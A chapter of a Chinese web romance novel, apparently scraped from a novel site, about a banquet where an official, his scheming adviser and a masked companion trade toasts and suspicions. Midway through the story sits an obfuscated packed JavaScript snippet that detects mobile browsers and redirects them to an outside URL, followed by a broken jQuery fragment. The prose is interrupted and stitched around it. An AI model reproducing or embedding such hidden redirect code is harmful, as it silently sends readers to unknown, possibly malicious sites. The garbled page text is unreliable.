向高 作品

60. 幕僚情夫

姜雪松平日里还真不怎么喝酒,这突然端起酒杯还有些打怵,吞了口水,打算一鼓作气闷了这杯。


没想到师明玉倒是起身,抢先开口道:“容我提一杯,借着赵大人的地方敬姜大人一杯,聊表谢意。”


赵韩南一脸欣赏地看着自己的师爷,只有师明玉自己知道他说的谢意是什么意思。


说完又给自己满上,说道:“顾公子,我敬你。”


李书衍客气地抬杯回敬,可是却不喝那杯酒,而是推到姜雪松的面前。


姜雪松手里还拿着酒杯,扭头,挑眉看向他“?”


李书衍声音轻柔甚至带点撒娇的意味:“你知道的……”


姜雪松“!!”


拜托!这个时候他演什么戏啊。


赵韩南笑得都快合不拢嘴,三杯酒下肚让他的脸红了一些,自以为贴心地‘斥责’师明玉,道:“顾公子喝不了酒,你也不事先问问。”


“是在下草率了。”师明玉刚一坐下就看见这一幕,嘴角噙着笑意,柔声说道。


姜雪松嘴角僵硬地转回身,她算是看明白了,自己这点名声,早晚会在李书衍手里败没。


开场的戏不能不唱,一手攥紧给自己打气,仰头把酒喝尽,紧接着去拿李书衍那杯,动作快的他都没来得及拦,酒已经喝下肚了。


他确实喝不了酒,刚才那么一出也只是在和她玩笑,谁承想,她这么实诚,说喝就喝了。


赵韩南竖起手指,连连叫道:“好,好,好,不愧是女中豪杰,我瞧姜大人这模样丝毫不输男子。”


姜雪松嘴里还在回味着辛辣,顺手接过李书衍递过来的茶杯,用茶水压一压。


赵韩南一拍手,对着侍从吩咐道:“传歌舞。”


他话音刚落,几个女子就鱼贯而入,该穿秋衣的季节,她们却只穿着一身轻薄的纱衣,曼妙身躯尽收眼底。


当然这也不是为了给姜雪松看的,纯粹是赵韩南自己的爱好,师明玉连眼皮都没抬一下。


话又说回来,赵韩南也不是那小气的人,除了安排了自己爱看的歌舞,还给姜雪松安排了几个美男侍候在身边。


其中一个竟然也只穿一层纱衣,李书衍握紧手里的酒杯,银质的杯子被他捏的变了形。


这几人像是苍蝇一样围在身边,姜雪松也觉得烦,对赵韩南说道:“不如让这几位先下去吧。”


赵韩南有些不解地看着她,这几个人都是他安排人特意挑选的,温柔的、冷峻的、朝气蓬勃的。


别管姜雪松喜欢什么样的,总有一款能合她的心意。


关键时候姜雪松倒是想起那个挡箭牌了,用眼神示意他看自己身旁的李书衍。


抬眼看过去,见他确实紧抿着嘴角,一副了然于心的表情,挥挥手驱散了那几人。


没了那些人的打扰姜雪松还能轻松一些,轻吐一口气。


赵韩南接连几杯酒下肚已经见些醉意,其实他的酒量真不怎么样,不过酒品还是不错的,喝多了只睡觉也不胡闹。


右手按住酒杯,眼前已经带着几分迷离,转头对着姜雪松,语重心长地开口:“姜老弟,我这么叫你一句不过分吧。”


这都不用问就知道他喝醉了,连男女都分不清。


不过也不能全怪他,今天姜雪松作男子打扮,这么一看就是俊俏的少年,分不清也正常。


“哥哥我真心地感谢你,带来这么多粮食,要不我这乌纱帽可就戴不稳了,哥哥敬你。”


姜雪松显然还没适应官场那套言辞,客气道:“大人说的哪里的话,荆州这些年能有如此成绩还得是大人治下有功。”


赵韩南听到这话脸上确实有些不屑,嗤笑地出声:“切,你这话说得也太不走心了,我和你说,其实不止今年吃不上饭……”


“大人,您喝醉了。”师明玉在桌下用力按了一下他的腿,使眼色道。


赵韩南陡然清醒,尴尬地笑笑,拍了一下自己的嘴,打圆场道:


“瞧我,一喝点酒就胡言乱语,自罚一杯,自罚一杯哈,姜老弟别介意。”


姜雪松当作是没看见师明玉的小动作,硬着头皮把酒喝进去。


师明玉稳定住赵韩南,这才空出来时间去看李书衍,上下扫了一眼说道:“这饭菜是不合顾公子的口味吗?怎么不见你动筷。”


他从刚才就看出来了,姜雪松身边的这个幕僚绝不简单。


李书衍神色淡淡,开口道:“自小遵从佛法,过午不食。”


“哦,这样,没想到顾公子还对佛法有所研究,改日若有机会一定登门拜访,我对宗教也比较感兴趣。”师明玉手指绕着酒杯打圈。


“其实宗教不过是一种统治手段,百姓愚昧,有的时候需要用一些‘神迹’来给政权背书。”李书衍声音低沉地开口。


师明玉身子有一瞬间的僵硬,眼底闪过一抹警惕,随即大笑两声:“哈哈,顾公子这个说法我还是头一回听说,不过细想想还真是这么回事。”


不错眼珠地盯着他的脸,不肯错过一个表情,疑问道:“既如此,顾公子又为何还在遵从佛法呢。”


李书衍颇为无赖的说了一句:“知道和做是两回事。”


姜雪松正在听赵韩南的醉话,听见他们交谈的声音转过头看了一眼。


就是这一眼被师明玉抓住,提起话题问道:“顾公子本家是哪里的,江南人士吗?”


见他点头认下,师明玉不怀好意地开口:“扬州顾家是富庶之家,听闻顾家有一宝船,通身由金丝楠木锻造,可容百人共承。顾家也算是老牌家族,怎么会甘心做一个‘幕僚’?”


严重怀疑他想说的不是幕僚两个字,而是情夫。


李书衍嘴角浅笑,面具下的眼眸明亮透彻,道:“每个人看重的东西不一样,我重情。”


师明玉应和地跟着笑了两声,抬手喝了一杯酒,收回目光,却没把他的话放在眼里。


若是真相信了他的鬼话,那自己这么多年白活了。


喝完酒转向看着说话已经有点捋不直舌头的赵韩南。


提醒道:“大人您喝多了,要不今天就到这吧。”


赵韩南显然是喝高兴了,一边应着说好,一边又不死心地倒了一杯,凑近姜雪松说道:“要不今日就先喝到这。”


说完偷偷瞥了一眼李书衍,挤眉弄眼地说道:“下次你来我这,自己来,哥哥我带你见识点好的。”


姜雪松脸上尴尬地笑笑,把最后一杯喝净,起身就要告辞:“今日叨扰多时了,改日再来拜访。”


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980640|156314||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


赵韩南走路已经有些站不稳了,涨红了脸送到屋门口:“嗨呀,你在荆州一时半会也走不了,咱们有的是机会见面。”


师明玉把人拦住,招呼过来一个侍女,叫人赶紧把人扶下去休息,转过身对着两人说道:“我送二位。”


师明玉也喝了不少酒,可脸上却看不见任何一点醉意,甚至脚步更稳健。


“姜大人的酒量不错。”师明玉一边在前面带路一边开口道。


“还好,多少有些醉意,不过你看着倒是挺清醒。”姜雪松回道。


师明玉失笑一声,有些轻狂地说道:“我已经很久没有喝醉过了。”


仰头对着守在门口的小厮示意,让那人开门。


到大门口,师明玉停下脚步,微微弯身行礼道:“就送到这了,姜大人慢走。”


“嗯”姜雪松上马车的脚步也有些虚浮。


李书衍上车前倒是回头深深地瞧了师明玉一眼。


马蹄声哒哒的响起,姜雪松稍微松了脊背,靠在车背那,低垂着眸子,一句话也不说。


李书衍坐在她身侧,心细地发现她的轻微不适,开口问道:“头晕?”


姜雪松蹙起眉头,紧抿着嘴唇,点头应道:“有一些,车晃得我头晕”


“要下去走走吗?”


姜雪松当即点头同意,李书衍叫停马车,自己先下去,抬起手臂扶着人下来。


姜雪松自然而然的把手搭在他的手臂上,就着力,轻轻一跃,下了车,呼吸一口新鲜空气,浑浆浆的脑袋清明不少。


李书衍收回胳膊,嘴角扬起几乎看不见的弧度,道:“既然不能喝又何必逞强,找个理由推脱了,免得自己受罪。”


“我,没,醉!”姜雪松一字一句地说道,俩人随意在路上闲逛,也没理到底是不是回家的路。


提到这个,姜雪松就板起一张脸,他倒是会装好人,刚才怎么不见他说这话,还把酒推托给自己。


李书衍跟在她身侧,冷风吹得他手指微微发红,侧头问道:“今日去赵家,你看出什么吗?”


姜雪松眼睛蒙上一层水雾,淡淡的酒气让她褪去几分清冷,走路还算是端正,低声道:


“赵韩南是个坏人,但不是什么大坏人,他没那个脑子,真正坏的是他身边那个幕僚。”


李书衍长腿一伸,替她踢开脚下的小石子,声音轻柔地开口:“英雄所见略同。”


纪元跟在身后,对着那两个袁家的侍卫恶声说道:“回去别乱说话,若是姜大人清誉受损,有你们受的。”


说完看向两人的身影,担忧地眯起眼,自己王爷那身板,被这冷风一吹不得生病啊。


李书衍轻呼出一口气,抬头看看残缺的月亮,想起来中午姜雪松说让自己搬出去的事。有心谈一下,道:“为何要我搬出去?”


“你是男子,我是女子,生活在一个院子里也多少有些不方便,而且……”


想想白天李书徽的样子就觉得害怕,弟弟都那样,当哥哥的背地里指不定也怎么疯呢。


李书衍也明白她的未尽之言,只能解释道:“小徽其实本性不坏,只是有些……”


连他自己都编不下去了,不死心地问了一嘴:“就没有转圜的余地吗?”